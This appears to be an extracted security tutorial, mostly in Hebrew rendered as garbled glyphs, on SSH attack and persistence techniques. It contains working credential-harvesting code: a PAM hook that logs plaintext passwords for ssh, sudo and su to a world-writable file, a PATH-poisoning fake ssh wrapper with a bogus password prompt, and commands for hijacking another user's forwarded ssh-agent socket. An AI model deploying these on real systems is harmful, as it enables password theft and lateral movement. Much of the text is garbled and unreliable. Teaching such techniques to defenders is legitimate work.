Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  Sending  SSH2_MSG_EXT_INFO [ preauth ]  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  expecting  SSH2_MSG_NEWKEYS [ preauth ]  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  SSH2_MSG_NEWKEYS received  [ preauth ]  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  rekey  in  after  134217728  blocks  [ preauth ]     

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  KEX done  [ preauth ]                              

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  userauth - request  for  user  blah  service  ssh -

connection  method  none  [ preauth ]  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  attempt  0 failures  0 [ preauth ]   

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  PAM:  initializing  for  "blah"              

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  PAM:  setting  PAM_RHOST to  "192.168.0.105"        

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  PAM:  setting  PAM_TTY to  "ssh"          

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  userauth - request  for  user  blah  service  ssh -

connection  method  publickey  [ preauth ]  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  attempt  1 failures  0 [ preauth ]  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  userauth_pubkey :  test  pkalg  rsa - sha2 - 512  pkblob  

RSA SHA256: rHtYhxUCbsPnk2lBUlGwCf+jRCkFwDlAjnVzOl2uFxU  [ preauth ]  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  temporarily_use_uid :  1001 / 1001  ( e=0/ 0)  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  trying  public  key  file  

/ home/ blah /. ssh / authorized_keys  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  Could  not  open  authorized  keys  

'/home/blah/.ssh/authorized_keys' :  No such  file  or  directory  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  restore_uid :  0/ 0 

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  temporarily_use_uid :  1001 / 1001  ( e=0/ 0)  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  trying  public  key  file  

/ home/ blah /. ssh / authorized_keys2  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  Could  not  open  authorized  keys  

'/home/blah/.ssh/authorized_keys2' :  No such  file  or  directory  

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  debug1 :  restore_uid :  0/ 0 

Sep  4 05: 39: 33 ubu - big1  sshd [ 83430 ]:  Failed  publickey  for  blah  from  192 . 168 . 0. 105  port  39834  

ssh2 :  RSA SHA256: rHtYhxUCbsPnk2lBUlGwCf+jRCkFwDlAjnVzOl2uFxU  

˪ ˭˸˧ˮ˫˧˧˶˵˧˰ ˫˧˶˟ˡ ˧ˮ˷ ˸ˣ˞˶: ˸˞ s-Banner .ˣ˪˷ ˧˟ˬˣ˲ˢ ˥˸˲ˬˢ ˸˞ˣ ,˦ˮ˧˧˪˵ˢ ˪˷ 

 ˣˬ˩ ,˸ˣ˧˦˶˲˪ ˸ˣ˶ˣ˷˵ˢ ˫˧˩˶ˡ ˢˬ˩˟ ˪˴ˮ˪ ˪˩ˣˮ ,˧˟ˬˣ˲ˢ ˥˸˲ˬˢ ˸˞)˸˧˦˶ˣ˞˧˸(  ˸˞ ˞ˣ˴ˬ˪ ˫˷

˷ˬ˸˷ˬˢ ˣ˪˷ ˟-github ˸˧˦˶ˣ˞˸) ˥˸˲ˬˢ ˣ˸ˣ˞˟ ˷ˬ˸˷ˬ ˞ˣˢˣ ˢˡ˧ˬ˟,  ˫ˮˬ˞˷ ˭ˣˣ˧˩ˬbenjojo  ˵˶˯

 ˧ˡ˩ ˣˮˬ˴˰˟ ˵ˣ˶˯˪ ˨˧˶˴ˣ ˶˶˥ˣ˷ˬ ˞˪ ˫˧˧˸ˮ˧˟ ˢ˦ˡˢ ˨˞ ,˟˞ˢ˦˧ˠ ˧˷ˬ˸˷ˬ ˪˷ ˸ˣ˥˸˲ˬˢ ˪˩ ˸˞ ˶ˬ˷ˣ

.(ˣ˸ˣ˞ ˞ˣ˴ˬ˪  ˢˮˣ˩ˬ ˪˞ ˶˟˥˸ˢ˷ ˦ˮ˧˧˪˵ˢ˷ ˥˧˩ˣˢ˪ ˪˩ˣˮ ˱˯ˣˮ˟X  ˢˮˣ˩ˬ˪ ˶˟˥˸ˢ˷ ˦ˮ˧˧˪˵ˢ ˣ˸ˣ˞ ˞ˣˢ

Y.  

  

https://blog.benjojo.co.uk/post/auditing-github-users-keys
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 ˰ˡ˧ˬ ˱˯ˣˮˣˮ˸ˣ˞ ˭˧˧ˮ˰˪ ˪ˣ˩˧˷ ˭˟ˣˬ˩ ˞ˣˢ  ˧˷ˬ˸˷ˬ ˸ˣ˞ˬ˯˧˯-sssh˸ˣ˞ˬ˯˧˯ˢˣ , ˬ-sudo  ˣ˞su. ˨˩ ˫˷˪ 

 ˸ˣ˶ˡˠˢ ˨ˣ˸ ˪˞ ˣ˸ˣ˞ ˱˧˯ˣˮˣ ,˭˸ˣ˞ ˠ˧˴˧˷ ˦˲˧˶˵˯ ˢˮ˟ˮPAM.  ˧˦˲˧˶˵˯PAM  ˷ˣˬ˧˷˟ ˫˧˞˴ˬˮ ˸ˣ˩˶˰ˬ

Unix-based .˫˧˷ˬ˸˷ˬˢ ˸ˣˬ˧˞ ˸ˣ˧˴˲ˣ˞ ˸˟˥˶ˢ ˸˟ˣ˦˪ 

:˸ˣ˪ˣ˰˲ˢ ˶ˡ˯ ˭˪ˢ˪ 

sudo  - i  

nano  / usr / local / bin / pam_pass  

## Beginning  of script ##  

#!/bin/sh  

read  password  

echo  "User: $PAM_USER"  >> / tmp / users.log  

echo  "Ruser: $PAM_RUSER"  >> / tmp / users.log  

echo  "Rhost: $PAM_RHOST"  >> / tmp / users.log  

echo  "Service: $PAM_SERVICE"  >> / tmp / users.log  

echo  "TTY: $PAM_TTY"  >> / tmp / users.log  

echo  "Password: $password"  >> / tmp / users.log  

exit  $? 

## End of script ##  

 

chmod u+x  / usr / local / bin / pam_pass  

 

nano  / etc / pam.d / common- auth  

# Add to the beginning of the file:  

auth  sufficient  pam_exec.so  expose_authtok  / usr / local / bin / pam_pass  

# Save and exit  

 

# Create the log file and fix its permissions  

touch  / tmp / users.log  

chmod a+w / tmp / users.log  

˩ ,˸˰˩ ˪˷ ˭˩ˣ˸ˢ ˸˞ ˠ˧˴ˢ˪ ˪˩ˣˮ ,˸˩˶˰ˬ˪ ˶˟˥˸˧ ˷ˬ˸˷ˬ ˶˷˞- tmp/users.log/: 

tail  - f  / tmp / users.log  

User :  blah  

Ruser :    

Rhost :  192 . 168 . 0. 105  

Service :  sshd  

TTY:  ssh  

Password  :  blahblah  

 

User :  blah  

Ruser :  blah  

Rhost :    

Service :  sudo  

TTY:  / dev / pts / 1 

Password  :  blahblah  

 

User :  root  

Ruser :  blah  

Rhost :    

Service :  su - l  

TTY:  pts / 1 

Password  :  blahblah  

 ˸ˣ˶˟˥˸ˢ ˣˤ ˢˮˣ˷˞˶ˢ ˫˰˲˟˷ ˟˪ ˣˬ˧˷ssh ˢ˧˧ˮ˷ˢ ˫˰˲˟ ,sudo  ˸˧˷˧˪˷ˢˣsu.   
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Tinker with SSHD 

 ˸ˣ˩ˤ˟˷ ˢˡ˟ˣ˰ˢ-SSH  ˞ˣˢ ,ˢ˥ˣ˸˲ ˢ˧˴˵˧˲˧˴˲˯ ˫˰ ,˥ˣ˸˲ ˡˣ˵ˬˢ.ˣˮˣ˴˶˩ ˡˣ˵ˢ ˸˞ ˸ˣˮ˷˪ ˪˩ˣ˧ ˪ˠ˶  ˶˟ˡ

˷˵˟˪ ˞ˣˢ ˸ˣ˷˰˪ ˪˩ˣ˧˷ ˡ˥˞ ˬ-sshd  ˪˷ ˧˶˞ˮ˧˟ˢ ˸˞ ˸˶˷ ˨ˣ˸˟ ˱˧˪˥ˢ˪ˣ ,˷˞˶ˬ ˢ˰ˣ˟˵ ˢˬ˯˧˯ ˪˟˵˪

sshd  ˣˬ˴˰˪ ˶ˣ˴˧˪ ˪˧˟˷˟backdoor ˪˷ ˭˲ˣ˞ˢ ˣ˸ˣ˞˟ ˠˢˮ˸ˬ ˣ˧ˮ˲ ˪˰˷ ,sshdˠ˷ ˵˶ , ˫˧ ˢˬ˯˧˯ˢ ˸˞ ˪˟˵

 ˢ˟ˣ˸˩˷Hardcoded ˪˴˞.x 

ˢ ˣˤˢ ˨˶ˡ˟˶˵˞ˢ  ˪˞ ˶˟˥˸ˢ˪ ˥˧˪˴ˢ˪ ˪˧˟˷˟ ˫˧˷ˬ˸˷ˬˢ ˪˷ ˸ˣ˞ˬ˯˧˯ˢ ˸˥˞ ˸˞ ˸˰ˡ˪ ˨˧˶˴ ˞˪

.˸˶˷ˢ  ˷ˣˬ˧˷ ˱˯ˣˮ ˪˷sshd "˪˰˶ˣˬ" .˨˷ˬˢ˟ ˢ˞˶ˮ 

 ˡˣ˵˪ ˸˴˵ ˫˧˪˪ˣ˴ ˫˞ ˸˩˟ˣ˯ˬ ˢˮ˧˞ ˷ˣˬ˧ˬˢ ˨˶ˡC.  ˸˪˧˸˷ˬ ˸ˣˮˮˣˠ˸ˢ ˨˶ˡsshd ˷ˣˬ˧˷ ˢ˧ˢ˸ ˪˰˶ˣˬ 

-˟Tripwire  ˣ˞Aida .-˪Package managers  ˸ˣ˩˶˰ˬ ˪˷BSD ˸ˣ˪˧˟˥ˢ ˧˴˟˵ ˫˞ˢ ˢ˵˧ˡ˟ ˰˴˟˪ ˸˪ˣ˩˧ ˷˧ *

ˣˮˣ˷. 

 

SSH trap by PATH poisoning 

 ˸ˣˡˣ˩˪ˬ ˟˧˴ˢ˪ ˪˧˟˷˟ ˷ˬ˸˷ˬ ˸˷˧ˠ ˣˮ˪ ˢ˵˧˲˯ˬssh, sudo x-su.  .˫˪ˣ˰˟ ˫ˣ˧ˢ ˸˷ˬˣ˷ˬ ˣˤˢ ˢ˦˧˷ˢ 

 ˟ˣ˸˩˪ ˞ˣˢ ,˫˧ˣ˯ˬ ˷ˬ˸˷ˬ˪ ˢ˷˧ˠ ˣˮ˪ ˷˧˷ ˢ˥ˮˢ˟ ˸ˣ˷˰˪ ˪˩ˣˮ˷ ˢˬshell script  (˶˥˟ˮ˷ ˢ˲˷ ˪˩˟ ˣ˞)

˪˞ ˱˧˯ˣˢ˪ˣ s-PATH  ˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ ˫˰ ,˭˧˲ˣ˪˧˥˪ ˣ˞) ˸ˡˣ˩˪ˬˢ ˸˞ ˫˧˷ˮ ˢ˟˷ ˢ˧˧˵˧˸ ˷ˬ˸˷ˬˢ ˪˷

.(˸˩˶˰ˬˢ ˧˷ˬ˸˷ˬ ˪˩ ˪˰ ˪ˣ˥˧˷ ˫ˣ˵˧ˬ˪ ˸ˡˣ˩˪ˬˢ ˸˞ ˱˧˯ˣˢ˪ 

˷ˬ˸˷ˬ˪˷ ˭ˣ˶˵˰ˢˬ ˸˰˟ˣˮ ˢ˧˰˟ˢ  ˧˴˟˵ ˪˞ ˟ˣ˸˩˪ ˶˸ˣˬbashrc. x-profile.ˣˬ˴˰ ˪˷ . 

˷ˬ˸˷ˢ˪ ˭˞˩ ˫ˠ ˣ˞ ,˫ˢ˪˷ ˸ˣ˶ˡˠˢˢ ˧˴˟˵ˢ ˸˞ ˸ˣˮ˷˪ ˫˧˷ˬ˸˷ˬ˪ ˢ˷˧ˠ ˪˦˟˪ ˣ˧ˢ˧ ˸ˣˮˮˣˠ˸ˢ ˧˩˶ˡ ˟-

Tripwire / Aida. 

 ˣ˸ˣ˞ ˸˞ ˞˧˴ˣˢ˪ ˞ˣˢ ˦˲˧˶˵˯ˢ ˪˷ ˭ˣ˧˰˶ˢ-soutput ˷-ssh  ˸˞ ˶ˣˬ˷˧ ˞ˣˢ ˫˧˰˪˵ˢ ˧˶ˣ˥˞ˬ˷ ˵˶ ,˞˧˴ˣˬ

ˠˣˡ˪ ˣ˞) ˢˬ˯˧˯ˢ .˷˵ˣ˟ˬˢ ˶ˣ˟˧˥ˢ ˸˞ ˰˴˟˪ ˪˧˟˷˟ ˢ˟ ˷ˬ˸˷˧ˣ ,(ˢ˴ˣ˥ˢ ˸˷˶ˢ ˨˶ˡ ˢ˸ˣ˞ ˥˪˷˧ ˢˬ

.˰˴ˬ˞˟ ˣˮˡˬ˰˷ ˷˧ˠ˶˧ ˞˪ ˷ˬ˸˷ˬˢ ˨˩ 

˭˪ˢ˪ ˭˧˧˷˵ˡˣ˶˲˪ ˫˧ˮ˩ˣˬ ˞˪ˣ ,˫˧˦ˣ˷˲ ˫˧˦˲˧˶˵˯˪ ˢˬˠˣˡ: 

:˧ˮ˲˪ ˸ˣ˶˰ˢ ˢˬ˩ 

мΦ  ˸ˣ˷˵˟ ˪˟˵ˬ ˸ˬ˞˟ ˸˶˷ˢ ˡ˴ ˫˞ˢ ˵ˣˡ˟˪ ˣˬ˩ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ ˸ˣ˶˯˥ssh ˟˪˷ˣ ,cleanup 

нΦ  ˸ˣ˦˷˲ˢ ˫˷˪ ,˟ˣ˷ ˸ˣ˯ˮ˪ ˣˮˬˬ ˫˧˷˵˟ˬˣ ˢˮˣ˷˞˶ˢ ˢˬ˯˧˯˟ ˢ˰˦ ˞ˣˢ˷ ˷ˬ˸˷ˬ˪ ˫˧˰˧ˡˣˬ ˣˮ˞

 ˣˬ˩ ˸ˣˮ˩ˣ˸˟ ˷ˬ˸˷ˢ˪ ˶˷˲˞ ˸˶˥˞ssh-pass  ˣ˞expect 

оΦ ;) ˢ˴˧˶ ˸ˣ˞˷˶ˢ ˫˧˦˲˧˶˵˯ˢ ˪˞ ˱˧˯ˣˢ˪ ˣ˥˩˷˸ ˪˞ 
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 ˸˞ ˪˧˰˶ˢ˪ ˪˧˟˷˟PATH: 

a. ˪˞ ˱˧˯ˣˮ s-bashrc˭ˣˮˠ˯˟ ˣˢ˷ˬ ˷ˬ˸˷ˬˢ ˪˷ .: 
PATH=/tmp:$PATH 

b.  ˸˞ ˱˧˯ˣˮ/ ˸˧˧˵˧˸ ˪˞ ˫˧˦˲˧˶˵˯ˢtmp/ 

:˸ˣ˶ˣ˷ˢ ˧˲˪ ˦˲˧˶˵˯ˢ ˶˟˯ˢ 

¶ ˦˪ˣ˲˧ˡˢ ˶ˣ˸˟ ˧˥˩ˣˮˢ ˷ˬ˸˷ˬˢ ˫˷ ˸˞ ˫˧˥˵ˣ˪ 

¶  ˫˧˧˵ ˫˞ˢ ˫˧˵ˡˣ˟Ϫ ˸˶ˣ˷˟ s-ssh ˭˧ˤˢ ˞ˣˢ˷ ˷ˬ˸˷ˬˢ ˸˞ ˫˧˥˵ˣ˪ ˭˩ ˫˞ ,˳˧˶ˢ ˞ˣˢ˷ 

¶  ˫˧˧˵ ˫˞ˢ ˫˧˵ˡˣ˟l- ˷ˬ˸˷ˬˢ ˸˞ ˫˧˥˵ˣ˪ ˭˩ ˫˞ ,˳˧˶ˢ ˞ˣˢ˷ ˢ˶ˣ˷˟ 

¶  ˶˟˥˸ˢ˪ ˢˬ˯˧˯˪ ˢ˷˵˟ ˣ˧˪˞ ˫˧˶˧ˤ˥ˬ˸˶˷˪ 

¶ ˢˬ˯˧˯ˢ ˸˞ ˫˧˥˵ˣ˪ 

¶ ˢ ˭˞˩) ˨˯ˬ˪ ˢ˸ˣ˞ ˫˧˯˧˲ˡˬ˶˵˞ˢ (˸ˣˠˢˮ˸ˢˢ ˸˞ ˸ˣˮ˷˪ ˢ˴˶˧ 

¶  ˣˢ˷ˤ˧˞ ˱˧˯ˣˢ˪ ˶˷˲˞) ˢˬ˯˧˯˟ ˢ˰˦ ˞ˣˢ˷ ˣ˪ ˫˧ˠ˧˴ˬsleep (˶˴˵ 

¶ ˟ˣ˷ ˢ˸ˣ˞ ˡ˧˪˵ˢ˪ˣ ˶˟˥˸ˢ˪ ˣ˪ ˫˧ˮ˸ˣˮ 

username =$USER 

grep  - q @ <<<$@ && username =$(echo $@|tr ' ' ' \ n' |grep @|cut - d"@" - f1)  

grep  - q --  - l  <<<$@ && username =$(grep - Eo --  " - l.+ " <<<$@|cut - c3 - |tr 

- d ' ')  

echo  - n "${username}@$(grep - oE "(([0 - 9a- zA- Z]+) \ .)+([0 - 9a- zA- Z]+)" 

<<<$@|tail - 1)'s password: "  

read  - s  x 

echo  

echo  $x  

echo  "Permission denied, please try again."  

/ usr / bin / ssh  $@ - oStrictHostKeyChecking =no 2>/ dev / null  

 ˸ˣˡˣ˩˪ˬ ˫˰ ˸ˣ˞˷˶ˢ ˫˧˪˯ˢ˪ ˪˩ˣˮ ,˸ˣ˦ˣ˷˲ ˶˸ˣ˧ ˫˧˩˶ˡ˟sudo x-su. 

ˢˬˠˣˡ ˪-su: 

/ bin / su  -  - c "whoami ; /bin/su $@"  

ˢˬˠˣˡ ˪-sudo: 

/ bin / sudo  whoami  ;  / bin / sudo  $@ 

˸˞ ˟ˣˮˠ˪ ˪˧˟˷˟ ,ˢˬ˯˧˯ˢ ˸˞ ˫˧˟ˮˣˠ ˞˪ˣ ˸ˣ˞˷˶ˢ ˫˧ˬ˧˪˯ˬ ˣˮ˞ ˭˞˩  ˫˧˦˲˧˶˵˯ ˟ˣ˸˩˪ ˪˩ˣˮ ˢˬ˯˧˯ˢ

˪˞ ˫˧ˬˣˡ s-ssh ˨˶ˡ ˣ˞ ,PAM .ˢ˪˥˸ˢ˟ ˣˮ˧˞˶˷ 

 

Jump SSH 

 ˢˬˠˣˡ˪ ,˸˶˷ ˪˞ ˢ˷˧ˠ ˫˩˪ ˢ˸˧˧ˢ˷ ˫˰˲ ˫˩˪ ˢ˶˵Web ,˶˥˞ ˸˶˷ ˟˷ˣ˧ ˢ˟˷ ˸˲˯ˣˮ ˸˷˶˪ ˶˟ˣ˥ˬ˷ ,

 ˢˬˠˣˡ˪DB? 
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˸˶˷ ˪˞ ˰˧ˠˢ˪ ˢˡ˧˥˧ˢ ˨˶ˡˢ s-DB ˸˶˷ ˪˞ ˸ˣ˶˟˥˸ˢ ˶˥˞˪ ˞˧ˢ s-Web ˢ˧ˢ˸ ˢ˪˵ ˧˩ˢ ˨˶ˡˢ ,

ˢ˪.˫˧˸˶˷ˢ ˧ˮ˷˟ ˸ˣ˞ˬ˯˧˯˟ ˷ˬ˸˷  ˪˞ ˸ˣ˥˸˲ˬ˟ ˷ˬ˸˷ˢ˪ ˢ˧ˢ˸ ˸˴˪ˬˣˬˣ ˸˥˦˟ˣ˞ˬ ˶˸ˣ˧ˢ ˨˶ˡˢ

.˫˧˸˶˷ˢ 

-sBad Practice ˸˶˷ ˪˰ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˫˧˷˪ ˢ˧ˢ˧ ˸ˣ˥˸˲ˬ ˪˷ s-Web .ˣ˩˶ˡ ˶˟˥˸ˢ˪ˣ  ˨˶ˡ

 ˶ˣ˴˧˪ ˞˧ˢ ˸˲˯ˣˮLocal Tunnel ˸˶˷ ˪˞ ˧˷˧˞ˢ ˟˷˥ˬˢˬ s-Web ˸˶˷˟ ˭ˣˣ˩˸˷ s-DB  ˦˶ˣ˲ˢ ˪˞

ˢ .ˡ˰ˣ˧ˬˢ.˸˥˦˟ˣ˞ˬ ˢ˧ˢ˸ˣ ˡˣ˟˰˸ ˣˤˢ ˨˶ˡ 

˷˵˟˪ ˞˧ˢ ,ˢ˪˞ˢ ˫˧˶˵ˬ˪ ˸ˡ˰ˣ˧ˬˢ ˨˶ˡˢ ˬ-ssh  ˸ˣ˷˰˪Jump  ˪ˠˡˢ ˸˶ˤ˰˟J- . ˣˮ˥ˮ˞ ˢ˞˟ˢ ˢˬˠˣˡ˟

˫˧˷˵˟ˬ ˬ-ssh  ˧˲˧˧˞ˢ ˪˞ ˶˟˥˸ˢ˪мм ˪˞ ˳ˣ˲˵˪ ˫˷ˬˣ .мл:. 

ssh  - J user @192 . 168 . 0. 11 user @192 . 168 . 0. 10 

user @192 . 168 . 0. 11's password:  

user @192 . 168 . 0. 10's password:  

 
 

ssh-agent 

 ˢˮ˩ˣ˸ˢssh-agent ˸ˣ˥˸˲ˬ ˸˞ ˪ˢˮ˪ ˣˮ˪ ˶ˣˤ˰˪ ˢˡ˰ˣˮ s-ssh.  ˸˞ ˳˧˶ˢ˪ ˪˩ˣˮssh-agent  ˰˵˶˟ ˢ˪˰˸˷

.ˣˮ˪˷ ˫˧˧˦˶˲ˢ ˸ˣ˥˸˲ˬˢ ˸˞ ˢ˧˪˞ ˱˧˯ˣˢ˪ˣ  ,˸˶˷˪ ˶˟˥˸ˮ˷ ˢ˶˵ˬ˟ssh-agent  ˪˩ ˫˰ ˶˟˥˸ˢ˪ ˢ˯ˮ˸

ˢ˪ ˣˮ˲˯ˣˢ˷ ˸ˣ˥˸˲ˬˢ ˪-Cache. 

˶˧ˡˠˢ˪ ˪˩ˣˮ ˪-ssh-agent .ˢ˧˴˶ˣˠ˧˲ˮˣ˵ˢ ˧˴˟˵˟ ˫˧˸˶˷ ˢˤ˧˞ ˪˰ ˸ˣ˯ˮ˪ ˸ˣ˥˸˲ˬ ˢˤ˧˞  ˨˷ˬˢ˟ˣ ,˱˯ˣˮ˟

 ˪˷ ˢˬˠˣˡ˪Jump˷˵˟˪ ˪˩ˣˮ , ˬ-ssh-agent  ˫˧˶˟˥˸ˬ ˣˮ˞˷ ˸˶˷ ˪˞ ˣˮ˪˷ ˸ˣ˥˸˲ˬˢ ˪˩ ˸˞ ˶˧˟˰ˢ˪

 ˪ˠˡˢ ˸˶ˤ˰˟ ,ˣ˧˪˞A- 

 ˠˣ˯ˬ ˳˟ˣ˵ ˶˴ˣˣ˧˷ ˞ˣˢ ˫˧˰˪˵ˢ ˧˶ˣ˥˞ˬ ˢ˶˵˧˷ ˢˬSocket / ˸˧˧˵˧˸˟tmp˸˶˷ˢ ˡ˴˟ /ˣ , ˢ˪˧˥˸ˬ ˭˞˩

 ˫˞ ,ˢ˧˰˟ˢ˶˵˞ˢ  ˣ˸ˣ˞˟ ˷ˬ˸˷ˢ˪ ˪˩ˣ˧ ˞ˣˢ ,˸ˣ˵˲˯ˬ ˸ˣ˞˷˶ˢ ˣ˪ ˷˧ˣ ,˫˧˶˟˥˸ˬ ˣ˧˪˞˷ ˸˶˷ˢ ˪˰ ˟˷ˣ˧

 ˳˟ˣ˵ˢSocket .˫ˢ˧˪˞ ˢ˷˧ˠ ˷˧ ˣˮ˪˷ ˫˧˸˶˷ˢ ˪˞ ˶˟˥˸ˢ˪ ˪˧˟˷˟ 

:ˢˬˠˣˡ ˶ˣ˸˟ 

On client :  

( optionally  generate  cert )  ssh - keygen  

eval  $(ssh - agent)  

ssh - add  ~/. ssh / id_rsa  

ssh - copy - id  user @192 . 168 . 0. 11 

ssh  - A user @192 . 168 . 0. 10 

 

On server  . 10 as  the  Hacker :  

sudo  - i  

ls  - d / tmp / ssh - *  

/ tmp / ssh - MWkNTur1uB 

cd  / tmp / ssh - MWkNTur1uB 

ls  
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agent.3068  

SSH_AUTH_SOCK=./ agent.3068  ssh  user @192 . 168 . 11 

 

 

 

SSH over ICMP 

Tunnel- ˪˷ ˫˧ssh  ˸˯ˮ˩ˢˣ ,ˢ˴ˣ˥ˢ ˰ˡ˧ˬ ˸ˠ˧˪ˤ ˸ˮ˧˥˟ˬ ˭ˣˠ˶˞˪ ˫˧ˮ˩ˣ˯ˬ ˡˣ˞ˬ ˸ˣ˧ˢ˪ ˫˧˪ˣ˩˧˶˵˞ˢ  ˪˞

 ˪˷ ˟ˣ˪˧˷ ˸˶ˤ˰˟ ˢˬˠˣˡ˪ ;˸ˣ˵˧ˮ˩˦˟˷ ˸ˣ˦˷˲ˢ ,ˢˤˬ ˶˸ˣ˧ˣ .˸˧ˮˣˠ˶˞ˢ ˸˷˶ˢ ˨ˣ˸Remote tunnel  ˫˰

Dynamic tunnel. 

 ˸ˣ˶ˡˠˢ˟ ˪˦˟˪ ˶˷˲˞ssh ˪˷ ˷ˣˬ˧˷ˢ ˸˞ s-Tunnels ˸ˣ˶ˡˠˢ ˭˧˩ˢ˪ ˪˩ˣ˧ ˷ˬ˸˷ˬ ˨˞ ,˫˧ˮˣ˷ˢ  ˣ˪˷ˬ

 ˸˞ ˳˧˶ˢ˪ˣsshd ˢˣ˟ˠ ˦˶ˣ˲˟ ˷ˬ˸˷ˬ ˞ˣˢ ˡˣ˰ ˪˩ ;˸ˣ˶ˡˠˢˢ ˭˸ˣ˞ ˸˶ˤ˰˟ ˬ-млно ˸˧˧˰˟ ˸˯ˮ˩ˮ ˭˞˩ˣ .

 ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ˟ ˸˲˯ˣˮ ˢ˥˦˟˞- .˸ˣˮ˩ˣ˸ ˳˧˶ˢ˪ ˶˸ˣˬ ˷ˬ˸˷ˬ˪ 

˷ˬ˸˷ˢ˪ ˫˧˟˧˧˥ ˣˮ˞˷ ˞˪ ˟-sshd .˭˲˴ˣˬˣ ˥ˣˮ ,˪˵ ˡˣ˞ˬ ˦ˣ˷˲ ˢˤ ,˧˯˵ˣ˶˲ ˰˴˟˪ ˪˧˟˷˟ 

sshd  ˫˰ ˵ˡˣ˟passwd x-shadow  ˪ˣ˩˧ ˭˞˩ ˨˞ ,˷ˬ˸˷ˬˢ ˪˷ ˢˬ˯˧˯ˢ ˸˞ ˰ˡˣ˧ ˫˧ˣ˯ˬ ˷ˬ˸˷ˬ ˫˞ˢ

˯ˮ˩ˢ˪ s-sshd .ˣ˟ ˣˮˡ˷ ˪˰˶ˣˬˢ .˸˩˶˰ˬ˟ ˦ˣ˷˲ ˷ˬ˸˷ˬ ˪˷ ˸ˣ˩ˣˬˮ ˸ˣ˞˷˶ˢ ˫˰ ˢˤ ˪˩  ˸ˣ˶˟˥ ˸ˣ˟˶

 ˪˷ ˧˦˪ˣ˲˧ˡˢ ˦˶ˣ˲ˢ ˸ˬ˧˯˥ ˪˷ ˭ˣ˶˸˲˪ ˸ˣˮˣ˲ssh.ˢˮˣ˷ ˦˶ˣ˲˟ ˷ˣˬ˧˷ ˧ˡ˧ ˪˰ ˢˤ ˸˞ ˱ˣ˵˰ˮ ˭˟ˣˬ˩ˣ , 

 ˪ˣ˵ˣ˦ˣ˶˲ˢ ˸ˬ˧˯˥ssh ˶ˡ ˢ˧ˢ˸ ˭˞˩ ˫ˠ ˨˞ ,˶˸ˣ˧ ˢˮˣ˩ˮ ˨˶˵˞ˢ ˫˧˩˶ˡ ˢˬ˩˟ ,ˢˬ˧˯˥ˢ ˸˞ ˱ˣ˵˰˪ ˪˩ˣ˧ ,

 ˸ˬ˵ˢ ˢ˧ˢ˸ ˸˥˞ ˨˶ˡTunnel  ˧˟ˠ ˪˰ICMP ˫˧˶˥ˣ˟ ˣˮ˥ˮ˞˷ ˢ˟˧˯ˢ ,ICMP  ˣˢ˷˧ˬ ˫˞˷ ˭ˣˣ˧˩ˬ ˞˧ˢ

 ˸ˣ˰˦ ˢ˷ˣ˰ ˞ˣˢ ,ˣ˸ˣ˞ ˫˯ˣ˥Network .ˢ˩˧˟ˬ 

˟ ˸˷ˠ˪ ˢ˯ˮˬ ˭ˣˠ˶˞ˢ ˨ˣ˸˟ ˷ˬ˸˷ˬ ˶˷˞˩ ˢˬˠˣˡ ˶ˣ˸˟-TCP  ˸˶˷ˢ ,˶ˣˠ˯ ˦˶ˣ˲ ˪˞ ˶ˣˠ˯ˢ ˦˶ˣ˲ˢ ˪˰˟

 ˣ˧˪˞ ˶˧ˤ˥ˬICMP type 3 - port unreachable ˸˞ ˭ˣˠ˶˞˟ ˣˮˬ˯˥˷ ˢ˶˵ˬ˟ .ICMP ˢˮ˩ˣ˸ˢ˷ ˫ˣ˵ˬ˟ ,

 ˷ˬ˸˷ˬˢ ,˷ˬ˸˷ˬ˪ ˰˧ˡˣˢ˪ˣ ˥˸ˮ˪ ˪˩ˣ˸ ˞˧ˢ˷ ˢ˧ˣ˞˶ ˢ˞˧ˠ˷ ˪˟˵˸ ˶ˣˠ˯ˢ ˦˶ˣ˲ˢ ˪˞ ˶˟˥˸ˢ˪ ˢ˸˯˧ˮ˷

˪ ˸ˣ˩˥˪ ˳˪˞˧-Timeout  ˫˧ˡ˧˯˲ˬ ˣˮ˥ˮ˞ ˭˞˩ .ˢ˶ˣ˶˟ ˢ˞˧ˠ˷ ˞˪˪ύмό ˢ ˷ˣˮ˞ ˭ˬˤ ˪˞ ˢ˩˥ˬTimeout x-ύнό 

.˫˧˷ˬ˸˷ˬ ˢ˟˷ ˢˮ˩ˣ˸˟ ˫˧˧ˣ˪˸ ˫ˢ˧ˮ˷ .ˢ˶ˣ˶˟ ˢ˞˧ˠ˷ 

 ˫ˣ˯˥˪ ˢˮˣ˩ˮˢ ˨˶ˡˢICMP  ˫ˣ˯˥˪ˣ ,ˣ˪˷ ˫˧˷ˣˬ˧˷ˢ ˸˞ ˵ˬˣ˰˪ ˭˧˟ˢ˪ ˢ˧ˢ˸Types  ˢˤ ˸˞ ˫ˠ ,˫˧˧˲˧˴˲˯

